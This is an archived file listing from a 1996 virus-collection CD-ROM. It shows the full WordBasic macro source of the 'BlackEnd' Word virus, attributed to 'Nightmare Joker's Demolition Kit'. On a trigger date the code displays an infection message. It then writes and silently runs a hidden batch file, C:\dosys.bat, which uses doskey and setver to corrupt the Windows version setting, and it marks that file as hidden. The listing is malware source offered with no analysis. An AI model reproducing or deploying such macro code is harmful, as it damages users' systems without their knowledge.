home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0297.ZIP / MVUPDAT7.ZIP / BLACKEND.ZIP / BLACKEND.TXT < prev   
Text File  |  1996-12-26  |  694b  |  39 lines
  1. Sub MAIN
  2.  
  3. REM A Virus from Nightmare Joker's Demolition Kit!
  4.  
  5. On Error Goto Finito2
  6.  
  7. If Monat(Jetzt()) = 5 And Tag(Jetzt()) = 22 Then
  8.  
  9. DateiNeu .DokVorlage = "Normal", .DokVorlageNeu = 1
  10. DokumentMaximieren
  11. Schriftgrad 16
  12. Fett
  13. Schriftart "Arial"
  14. Einfⁿgen "You are infected with the BlackEnd Virus! [D.K.]"
  15.  
  16. n = Sekunde(Jetzt())
  17. m = n + 3
  18. Again:
  19. While n <> m
  20. n = Sekunde(Jetzt())
  21. Goto Again
  22. Wend
  23.  
  24. Finito2:
  25.  
  26. Open "C:\dosys.bat" For Output     As #1
  27. Print #1, "@echo off"
  28. Print #1, "doskey Fun=setver win.com 3.00"
  29. Print #1, "@echo off"
  30. Print #1, "Fun"
  31. Close #1
  32. Shell "C:\dosys.bat", 0
  33. AttributBestimmen "C:\dosys.bat", 2
  34.  
  35. Else
  36.     REM Nothing to do!
  37. End If
  38. End Sub
  39.